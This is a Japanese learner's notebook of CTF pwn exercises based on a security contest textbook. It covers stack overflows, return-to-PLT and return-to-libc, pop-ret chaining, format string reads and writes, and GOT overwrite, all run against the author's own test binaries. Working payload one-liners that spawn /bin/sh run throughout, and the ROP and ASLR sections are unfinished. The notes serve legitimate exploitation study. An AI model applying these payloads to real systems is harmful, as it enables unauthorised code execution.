# ハリネズミ本 pwnのめも

# 実行環境

OSはUbuntu-18.04 LTSを使用しています。

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

# 使用するツール

# GDB(peda)

GDBはCLIベースのデバッガです。 GDBにより, 実行ファイルがオーバーフローを起こした時に, 実行ファイルが停止した位置やその時の変数の値などを知ることができます。 また, pedaという拡張スクリプトを追加することで, EBXやEIPなどの情報や関数のアドレスを取得することができます。 非常に便利なので, インストールすることをおすすめします。

# objdump

objdumpはCUIベースの逆アセンブラです。 実行ファイルを解析して, アセンブリコードを出力してくれます。

さて, 前置きはこのくらいにして実際に問題を見ていきましょう。

# stack base buffer overflow

# ローカル変数の破壊

// bof1.c
#include <stdio.h>

int main(int argc, char *argv[]){
  int zero = 0;
  char buffer[10];
  
  fgets(buffer, 64, stdin);
  printf("zero = %d\n", zero);
  return 0;
}

上のコードを32bit向け, SSP(stack smash protection)無効でコンパイルする. この後, AAAAAAAAAAAAAAAAAAAAのような文字列を与えることでbuffer overflowを意図的に引き起こす。

$ gcc -m32 -fno-stack-protector ./bof1 ./bof1.c
$ ./bof1
buffer address  = ffffd062
zero address    = ffffd06c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zero = 1094795585
Segmentation fault (core dumped)

ここで, buffer addressがffffd062で, zero addressがffffd06cなのは, main関数の中で順番に変数がstackに積まれて行くから(ffffd062 + 10 = ffffd06c)。

実行結果が, 1094795585となっているのは, AAAA=0x41414141 = 1094795585だから。

これを用いて, 任意の値をzeroに代入してみる。

# bofを活用した, 任意の数字の書き換え

#include <stdio.h>

int main(int argc, char *argv[]){
  int zero = 0;
  char buffer[10];

  printf("buffer address\t= %x\n", (int)buffer);
  printf("zero address\t= %x\n", (int)&zero);
  
  fgets(buffer, 64, stdin);
  printf("zero = %d\n", zero);
  if (zero == 0x12345678){
    printf("congrats!\n");
  }
  return 0;
}

これも, 先ほどと同様に, SSP無効でコンパイル。 この後, bufferの10バイト文を適当な文字で埋めてから, 0x12345678で埋める。

$ gcc -m32 -fno-stack-protector -o ./bof2 ./bof2.c
$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
buffer address                         = ffffd062
zero address                           = ffffd06c
zero = 12345678
congrats!
Segmentation fault (core dumped)

はい, おk。 ここで, リトルエンディアン形式であることに注意。

$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2 について, -eオプションは\x表記を認めるというオプション。 リトルエンディアン形式なので, \x78\x56\x34\x12という表記になっている。

# bofを活用した, リターンアドレスの書き換え

#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]){
  char local[32];

  printf("buffer address\t= %x\n", (int)buffer);
  printf("local address\t= %x\n", (int)local);

  printf("buffer: 0x%x\n", &buffer);
  fgets(local, 128, stdin);
  strcpy(buffer, local);
  return 0;
}

このままだと, EIPを奪取できない(コンパイラが防いでいるらしい) 詳しくはこの記事で

# pythonでの\xの書き込み

$ python -c 'import sys; sys.stdout.buffer.write(b"A" * 16 +  b"\xce\xfa\xde\xc0")'

のように書くと,

$ echo -e 'AAAAAAAAAAAAAAAA\xce\xfa\xde\xc0'

と同じ意味になる。

main 630 56555630? printf 410 56555554?

神記事

system: 0xf7 e1 62 00 引数

#include <stdio.h>
#include <string.h>

char buffer[32];

void func(){
    char local[32];
  fgets(local, 128, stdin);
  strcpy(buffer, local);
}

int main(){
  printf("buffer: 0x%x\n", &buffer);
  func();
}

$ (echo -e 'r\n/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x62\xe1\xf7\xf1\x84\x04\x08\x60\xa0\x04\x08';cat) | gdb -q ./ret2libc 

# return to PLT

# 仕組み

printf@pltを呼び出す。 printfを引数込みで呼び出す。

ret命令の挙動は, (1)現在のeipをpopして(2)そのeipのアドレスにjumpするというもの。

call命令は, (1)スタックにリターンアドレスを積んでから(引数も積む)(2)jumpを行うというもの。

したがって, ret命令でcall命令を再現するには, (1)スタックにリターンアドレスを積んでおけばおk(引数も積む)。

# 攻撃コード

内容 アドレス 補足
下位アドレス 0x00000000 ...
... ... ...
関数のアドレス=リターンアドレス 0x08048340 printf@plt
printf呼び出し後のリターンアドレス BBBB ダミー
printfの引数(buffer) 0x0804a040 bufferの中身を表示したいので
上位アドレス 0xffffffff

gdbでpattern_createおよびpattoをかけて, EIPに設定されるのが44文字目以降であることを確認。

以上の順にEIPを埋めていけば良いため, 攻撃コードの概要は以下のようになる。 A*44文字 + \x40\x83\x04\x08 + BBBB + \x40\xa0\x04\x08

したがって, 攻撃コードは以下の通り。

$ python -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x40\x83\x04\x08" + b"BBBB" + b"\x40\xa0\x04\x08")' | ./plt

と思いきや, 実行がうまくいきません。

調べてみると, リターンアドレスがダミーだとprintf関数が正しく実行されないようです(printf関数のret時にreturnアドレスが正しくないとSegmentationFaultになるらしい) http://vintersnow.github.io/post/catch_the_flag_if_you_can_binary/

# Return to libc

# 仕組み

return to PLTではprintf関数を呼び出しましたが, 次はsystem関数を実行してみましょう。

system関数の実行では, /bin/sh(bash)を実行することとします。なぜなら, shellを奪えればその後はコマンドを叩いて大抵のことはできるようになるからです。

# 攻撃方法の検討

まず, system関数の場所を確認します。 main関数にbreakpointを立ててrunし, p systemで確認できます。

すると, 以下のように表示されるのでsystem関数は0xf7e16200にあることがわかります。

$1 = {<text variable, no debug info>} 0xf7e16200 <system>

さらに, system関数は第一引数に文字列を指定する必要があるため, とりあえずbuffer変数のアドレス(0x0804a060)を指定します。

すると, 以下のようなスタックの状況を作れれば攻撃が成功しそうです。

内容 アドレス 補足
下位のアドレス 0x00000000
... ... ...
関数アドレス=リターンアドレス 0xf7e16200 今回はsystem関数の場所
関数呼び出し後のリターンアドレス BBBB ダミー(あとでprintfと同じようにmain関数の番地にするかも)
引数1 0x0804a060 buffer変数の番地
... ... ...
上位アドレス 0xffffffff ...

したがって、攻撃文字列は以下のようになります。 /bin/sh(7文字) + \x00(1文字) + A*(44-7-2=36文字) + \x00\x62\xe1\xf7 + BBBB + \x60\xa0\x04\x08

echoでかくと, 以下のようになる。

(echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x62\xe1\xf7\x39\x85\x04\x08\x60\xa0\x04\x08'; cat) | ./bof

pythonでかくと, 以下のようになる(echoの時は挿入されている\n(改行コード)がないため, \nを挿入している)。

(python -c 'import sys; sys.stdout.buffer.write(b"/bin/sh" + b"\x00" + b"A"*36 + b"\x00\x62\xe1\xf7" + b"\x39\x85\x04\x08" + b"\x60\xa0\x04\x08\n")'; cat;) | ./bof

# popret gadget

# 概要

先程までの例では, main関数のリターンアドレスとしてmain関数のアドレスを利用していた。 しかし, このリターンアドレスに他の関数のリターンアドレスを埋め込んでおけば2つめの関数を呼び出すことが可能になる。

しかし、以下のように、単純に関数を設定するだけだとスタックの中身が散乱してしまう。

SP 内容 補足
下位のアドレス 0x00000000
関数1のアドレス
関数1のリターンアドレス 関数2のアドレスを入れる
関数1の引数1 関数2のリターンアドレスを入れる
関数1の引数2 関数2の引数1を入れる
関数1の引数3 関数2の引数2を入れる

そこで, popret gadgetの考え方を使う。 実行ファイルの中にpopを数回おこなった後にretするという処理(gadget)が多く現れる。これに倣い, 関数を呼び出すために使用した引数分popしてからretすればスタックポインタの位置をずらすことができそう。

SP 内容 補足
下位のアドレス 0x00000000
関数1のアドレス
関数1のリターンアドレス pop pop pop ret (pop3ret)
pop↓ 関数1の引数1
pop↓ 関数1の引数2
pop↓ 関数1の引数3
ret→ 関数2のアドレス
関数2のリターンアドレス
関数2の引数1
関数2の引数2
関数2の引数3

これを活用して, プログラムを以上終了させるためにexitを呼び出してみる。

SP 内容 address 補足
下位のアドレス 0x00000000
systemのアドレス 0xf7e16200
systemのリターンアドレス 0x080485cb pop ret(popret)
pop↓ systemの引数1 0x0804a060 buffer
ret→ exitのアドレス 0xf7e093d0 exit
exitのリターンアドレス 0x08048539 main
exitの引数1 0 return 0

# ROP(Return Oriented Programing)

???

# 書式文字列攻撃

%pは対応するスタックの値をvoid*型として16進数で表示する。

$ python -c "print('AAAA' + '%p.'*20)" | ./fsb 
AAAA0x80.0xf7fb15c0.0x80484e5.0xf7fdf409.0xf63d4e2e.0xf7ffdaf8.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.
secret=0x12345678
e

これにより, AAAAが7番目の%pで読み込まれていることがわかるので, スタックの7番目の値を参照すれば良いことがわかる。

# 任意のアドレスからの読み込み

%n$sでn番目の値をchar*型で出力する。

そのため, 入力としてsecretのアドレスをあたえ, 7番目の値を参照すればおk。

~なぜか6番目で正しく実行できているので, 0-indexedなのかも?~~ 7番目でした。

$ echo -e '\x24\xa0\x04\x08%7$s' | ./fsb |  hexdump -C
00000000  24 a0 04 08 78 56 34 12  0a 73 65 63 72 65 74 3d  |$...xV4..secret=|
00000010  30 78 31 32 33 34 35 36  37 38 0a                 |0x12345678.|
0000001b

ここで, 00000005から\x78\x56\x34\x12が続いているため, その正当性が確認できる。

# 自由な書き込み

secret = 0x0804a024

%n$nで自由に書き込みができる。

$ echo -e '\x24\xa0\x04\x08%7$s' | ./fsb 
$�xV4
secret=0x12345678
$ echo -e '\x24\xa0\x04\x08%7$n' | ./fsb 
$�
secret=0x4

# GOT Overwrite

# What's GOT?

GOTとは, ライブラリの関数アドレスを保存しておく領域のこと。 GOT領域を書き換えることで, eipを変更したことと同じことになる。

# 攻撃手法の策定

デコンパイルをすると, fgets→printf→fgets→strlen→printfという流れで関数が呼び出されていることがわかる。

したがって, 最初のfgetsで, 次にくるprintfでstrlenをsystem関数に書き換える攻撃コードを流し込み, 2度目のfgets関数でstrにsystem関数の引数を設定してstrlen(str)でシェルを起動する。

GOT領域は以下のコマンドで確認できる。

$ readelf -r got

Relocation section '.rel.dyn' at offset 0x318 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff8  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
08049ffc  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x328 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a018  00000507 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

これより, strlen関数が0x0804a018に書き込まれることがわかる。

次に, system関数のアドレスを確認する。 gdbによって確認すると, 0xf7e16200であることがわかる。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e16200 <system>

以上の情報を用いて, strlen関数をsystem関数で上書きする。 アドレスが8バイトなので, %hnを用いて2回に分けて攻撃を行う。 0x0804a018~0x0804a0190x6200, 0x0804a01a~0x0804a01b0xf7e1を書き込む。

この文字列を入れる番地を知るために, 書式文字列攻撃を行う。

$ echo -e 'AAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./got 
AAAA,0x80,0xf7fb15c0,0x8048520,(nil),0xf7fdff9b,0x804822c,0x41414141,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70
44

以上より, 7番目に引数が格納されることがわかった。

# 攻撃手法のまとめ

したがって, 攻撃文字列は以下な形式になる。

書式文字列 補足 出力バイト数 積算出力バイト数
0x0804a018 GOT領域のstrlen(1) 4 4
0x0804a01a GOT領域のstrlen(2) 4 8
%25080x 25088-8=25080 25080 25088(=0x6200)
%7$hn strlenの前半4バイトを埋める 0 25088
%38369x 63457-25088=38369 38369 63457(=0xf7e1)
%8$hn strlenの後半4バイトを埋める 0 63457
\n 2回目にくるfgets関数のために改行を入れておく - -
/bin/sh; cat shellを立ち上げる - -

したがって, 攻撃コードは以下のようになる。

# echo ver.

e$ (echo -e '\x18\xa0\x04\x08\x1a\xa0\x04\x08%25080x%7$hn%38369x%8$hn\n/bin/sh'; cat) | ./got 

# python ver.

/bin/shの後に\x00を入れることで, 文字列の分割を行なっている。

$ (python -c 'import sys;sys.stdout.buffer.write(b"\x18\xa0\x04\x08\x1a\xa0\x04\x08%25080x%7$hn%38369x%8$hn\n/bin/sh\x00\n")'; cat;) | ./got

# ASLRの回避

ブルートフォースで回避する。

以下のコマンドでASLRを有効にする。

$ sudo sysctl -w kernel.randomize_va_space=2

lddコマンドを使用することで, 共有ライブラリのメモリアドレスを確認する。 すると, randomizeされていることが確認できる。

task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ sudo sysctl -w kernel.randomize_va_space=2
[sudo] password for task4233: 
kernel.randomize_va_space = 2
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f0e000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d10000)
  /lib/ld-linux.so.2 (0xf7f10000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f24000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d26000)
  /lib/ld-linux.so.2 (0xf7f26000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f74000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d76000)
  /lib/ld-linux.so.2 (0xf7f76000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7efa000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfc000)
  /lib/ld-linux.so.2 (0xf7efc000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f2e000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d30000)
  /lib/ld-linux.so.2 (0xf7f30000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f88000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d8a000)
  /lib/ld-linux.so.2 (0xf7f8a000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7fc7000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000)
  /lib/ld-linux.so.2 (0xf7fc9000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7fbc000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dbe000)
  /lib/ld-linux.so.2 (0xf7fbe000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7ee1000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ce3000)
  /lib/ld-linux.so.2 (0xf7ee3000)
task4233@task4233-VirtualBox:~/work/ctf/hedgehog/2/5
$ ldd bof4
  linux-gate.so.1 (0xf7f1b000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d1d000)
  /lib/ld-linux.so.2 (0xf7f1d000)

ここで, libc.so.6に存在するsystem関数の相対番地を確認しておく。

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
0003d200 T __libc_system
00129640 T svcerr_systemerr
0003d200 W system

すると, 0x0003d200に格納されていることがわかる。

$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 17e0cf /bin/sh

同様にして, /bin/shも調べると0x0017e0cfに格納されていることがわかる。

これらを元に, libc.so.6の番地を0xf7ce1000と仮定して, system関数を0xf7d1e200, bin/shを0xf7e8b0cfと仮定する。

pattern_createとpattoを用いて, OFが起きている部分を確認すると, offsetは51だった。

これらの情報を元に, 攻撃コードを組み立てる。

工事中...

# References

  • 磯井利宜・他 (2015)『セキュリティコンテストチャレンジブック-CTFで学ぼう!情報を守るための戦い方』マイナビ出版
  • たのしいPwn入門
Last Updated: 2019-9-5 09:12:22